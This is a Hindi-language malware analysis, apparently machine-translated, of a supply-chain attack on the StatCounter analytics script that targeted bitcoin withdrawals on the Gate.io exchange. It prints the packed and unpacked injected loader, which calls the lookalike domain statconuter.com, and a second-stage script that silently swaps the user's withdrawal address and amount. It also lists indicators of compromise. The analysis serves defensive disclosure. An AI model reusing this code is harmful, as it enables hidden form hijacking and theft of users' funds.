4 नवंबर को, हमलावरों ने स्टेटकाउंटर से समझौता किया, जो वेब ट्रैफ़िक के विश्लेषण के लिए एक मंच था। इस सेवा का उपयोग Google Analytics जैसे साइट आगंतुकों के बारे में आंकड़े एकत्र करने के लिए किया जाता है। ऐसा करने के लिए, वेबमास्टर्स साइट के प्रत्येक पृष्ठ पर स्टेटकाउंटर कोड -
www.statcounter [] कॉम / काउंटर / काउंटर.जेस के एक बाहरी जावास्क्रिप्ट टैग को जोड़ते हैं। स्टेटकाउंटर का उपयोग करते हुए, हमलावर इस प्लेटफ़ॉर्म का उपयोग करके सभी साइटों में जावास्क्रिप्ट कोड इंजेक्ट कर सकते हैं। हालांकि, हमले का लक्ष्य एक संसाधन था - गेट.आईओ क्रिप्टोक्यूरेंसी एक्सचेंज।
अपने स्वयं के
आंकड़ों के अनुसार, स्टेटकाउंटर में दो मिलियन से अधिक प्रतिभागी साइटें हैं, यह प्रति माह 10 बिलियन से अधिक वेब पेज दृश्यों पर आंकड़े एकत्र करता है। इसकी एलेक्सा रेटिंग 5,000 से ऊपर है (तुलना के लिए, आधिकारिक डेबियन लिनक्स साइट, debian.org, एक तुलनीय रेटिंग है)।

हमलावरों ने स्क्रिप्ट को
www.statcounter [।] पर संशोधित किया। कॉम / काउंटर / काउंटर.जेएस, स्क्रिप्ट के बीच में नीचे दिखाए गए दुर्भावनापूर्ण कोड के एक टुकड़े को जोड़ते हुए। यह असामान्य है क्योंकि दुर्भावनापूर्ण कोड अक्सर एक वैध फ़ाइल की शुरुआत या अंत में जोड़ा जाता है। मौजूदा स्क्रिप्ट के बीच का कोड नोटिस करना अधिक मुश्किल है अगर आप इसे नहीं पढ़ते हैं।
eval(function(p, a, c, k, e, r) { e = function(c) { return c.toString(a) }; if (!''.replace(/^/, String)) { while (c--) r[e(c)] = k[c] || e(c); k = [function(e) { return r[e] }]; e = function() { return '\\w+' }; c = 1 }; while (c--) if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]); return p }('3=""+2.4;5(3.6(\'7/8/9\')>-1){a 0=2.b(\'d\');0.e=\'f://ghi/cj\';0.k(\'l\',\'m\');2.nop(0)}', 26, 26, 'ga||document|myselfloc|location|if|indexOf|myaccount|withdraw|BTC|var|createElement||script|src|https|www|statconuter|com|php|setAttribute|async|true|documentElement|firstChild|appendChild'.split('|'), 0, {}));
स्क्रिप्ट डीन एडवर्ड्स आवरण का उपयोग करके बनाई गई थी, शायद सबसे लोकप्रिय जावास्क्रिप्ट आवरण। हालाँकि, आप इसे अनज़िप कर सकते हैं, जिससे वास्तविक स्क्रिप्ट कोड चल जाएगा, जैसा कि नीचे दिखाया गया है।
myselfloc = '' + document.location; if (myselfloc.indexOf('myaccount/withdraw/BTC') > -1) { var ga = document.createElement('script'); ga.src = 'https://www.statconuter.com/c.php'; ga.setAttribute('async', 'true'); document.documentElement.firstChild.appendChild(ga); }
कोड स्निपेट यह देखने के लिए जांचता है कि URL में यूनिफाइड रिसोर्स आइडेंटिफ़ायर (URI)
myaccount / withdraw / BTC शामिल है या नहीं । इसके आधार पर, हम यह निष्कर्ष निकाल सकते हैं कि हमलावरों का लक्ष्य बिटकॉइन प्लेटफॉर्म है। वांछित होने के बाद, स्क्रिप्ट
www.statconuter []। Com / c.php को एम्बेड करते हुए, वेब पेज पर एक नया स्क्रिप्ट तत्व जोड़ता है।
कृपया ध्यान दें कि हमलावरों ने वैध स्टेटकाउंटर के समान एक डोमेन पंजीकृत किया। दो पत्रों में अंतर - संदिग्ध गतिविधि के लिए पत्रिकाओं को देखते समय नोटिस करना मुश्किल है। वैसे, डोमेन के निष्क्रिय DNS की जांच करने पर, हमने पाया कि 2010 में इसे परिचालन उल्लंघन के लिए अवरुद्ध किया गया था।

फिर से, स्क्रिप्ट एक विशिष्ट पहचानकर्ता (URI) को लक्षित करती है:
myaccount / withdraw / BTC । इस लेखन के समय, सभी क्रिप्टोक्यूरेंसी एक्सचेंजों के बीच, केवल गेट.आईओ के पास इस यूआरआई के साथ एक वैध पृष्ठ था। ऐसा लगता है कि यह विशेष विनिमय हमले का लक्ष्य था। यह साइट काफी लोकप्रिय है: इसकी एलेक्सा रेटिंग 26,251 है, और चीन में इसकी रेटिंग 8,308 है।

इसके अलावा, coinmarketcap.com के अनुसार, इस प्लेटफॉर्म से रोजाना कई मिलियन डॉलर पास होते हैं, जिसमें बिटकॉइन में $ 1.6 मिलियन भी शामिल हैं। सामान्य तौर पर, Gate.io में हमलावरों की रुचि स्पष्ट करना आसान है।

वेब पेज
www.gate [।] Io / myaccount / आहरण / BTC (नीचे देखें) का उपयोग बिटकॉइन को गेट.io से किसी बाहरी पते पर एक खाते में स्थानांतरित करने के लिए किया जाता है।

स्टेटकॉनटर [।] कॉम / c.php के साथ दूसरा चरण पेलोड बिटकॉइन्स चोरी करने के लिए डिज़ाइन किया गया है। डीन एडवर्ड्स का उपयोग करके पैक की गई स्क्रिप्ट भी बिटकॉइन के गेट.आई.ओ. में अनुवाद करने के लिए वेब पेज में सन्निहित है। नीचे अनपैक्ड संस्करण।
document.forms[0]['addr'].value = ''; document.forms[0]['amount'].value = ''; doSubmit1 = doSubmit; doSubmit = function () { var a = document.getElementById('withdraw_form'); if ($('#amount').val() > 10) { document.forms[0]['addr']['name'] = ''; var s = $("<input type='hidden' name='addr'/>"); s.attr('value', '1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad'); var b = $('#withdraw_form'); b.append(s); a.submit(); } else if (document.getElementById('canUse').innerText > 10) { document.forms[0]['addr']['name'] = ''; var s = $("<input type='hidden' name='addr'/>"); s.attr('value', '1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad'); var b = $('#withdraw_form'); b.append(s); document.forms[0]['amount']['name'] = ''; var t = $("<input type='hidden' name='amount'/>"); t.attr('value', Math.min(document.getElementById('canUse').innerText, document.getElementById('dayLimit').innerText)); b.append(t); a.submit(); } else { doSubmit1(); } };
वैध Gate.io पृष्ठ में एक
doSubmit
फ़ंक्शन होता है जिसे उपयोगकर्ता द्वारा सबमिट बटन पर क्लिक करने पर कहा जाता है। हमारे मामले में, हमलावरों ने इसे बदल दिया।
दुर्भावनापूर्ण स्क्रिप्ट स्वचालित रूप से उपयोगकर्ता के बिटकॉइन वॉलेट पते को हमलावर के पते से बदल देती है, उदाहरण के लिए,
1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad
। हमलावर सर्वर हर बार एक नया पता जनरेट करता है, जब कोई आगंतुक स्टेटकॉनटर डाउनलोड करता है [।] कॉम / c.php स्क्रिप्ट।
स्क्रिप्ट पीड़ित द्वारा दर्ज की गई राशि (यदि पीड़ित दस से अधिक बिटकॉइन ट्रांसफर करता है) या खाते से क्रिप्टोक्यूरेंसी को हटाने की दैनिक सीमा का उपयोग करता है। हमारे परीक्षण खाते में, लिखने की सीमा 100 बीटीसी के लिए निर्धारित की गई थी। अंत में, स्क्रिप्ट एक ऐसे फॉर्म को सबमिट करती है, जो पीड़ित के खाते से हमलावरों के वॉलेट पते पर धन स्थानांतरित करता है।
धन का पुनर्निर्देशन संभवतः पीड़ितों के लिए अदृश्य रूप से किया जाता है, क्योंकि "भेजें" बटन पर क्लिक करने के बाद वॉलेट बदल दिया जाता है। यह बहुत जल्दी और दृश्य प्रदर्शन के बिना होता है।
हर बार दुर्भावनापूर्ण स्क्रिप्ट का अनुरोध करने पर साइबर अपराधियों का एक नया बिटकॉइन पता बनता है, इसलिए हम उनकी आय का अनुमान नहीं लगा सकते हैं। यदि आप परीक्षण मशीन पर उपयोग किए गए पते की जांच करते हैं, तो शेष राशि शून्य है।

निष्कर्ष
हमें नहीं पता कि इस हमले के दौरान कितने बिटकॉइन चोरी हुए। हालांकि, घटना से पता चलता है कि हमलावर एक विशेष संसाधन पर हमला करने के लिए कैसे काम कर सकते हैं, विशेष रूप से, एक क्रिप्टोक्यूरेंसी एक्सचेंज। एक एक्सचेंज के उपयोगकर्ताओं से बिटकॉइन चोरी करने के लिए, उन्होंने कई सरकारी साइटों सहित लाखों वेबसाइटों का उपयोग करने वाले विश्लेषणात्मक मंच से समझौता किया।
इसके अलावा, यह दिखाता है कि भले ही आपकी साइट अपडेट और मज़बूती से सुरक्षित है, फिर भी यह तृतीय-पक्ष संसाधनों के माध्यम से हमलों के लिए असुरक्षित है। एक और याद दिलाता है कि तृतीय-पक्ष बाह्य जावास्क्रिप्ट कोड किसी भी समय बिना सूचना के परिवर्तन के अधीन है।
हमने स्टेटकाउंटर और गेट.आईओ को दुर्भावनापूर्ण गतिविधि के बारे में चेतावनी दी।
संकेतक से समझौता करें
दुर्भावनापूर्ण यूआरएल•
www.statcounter [।] कॉम / काउंटर / काउंटर.जेएस
•
www.statconuter [।] कॉम / c.php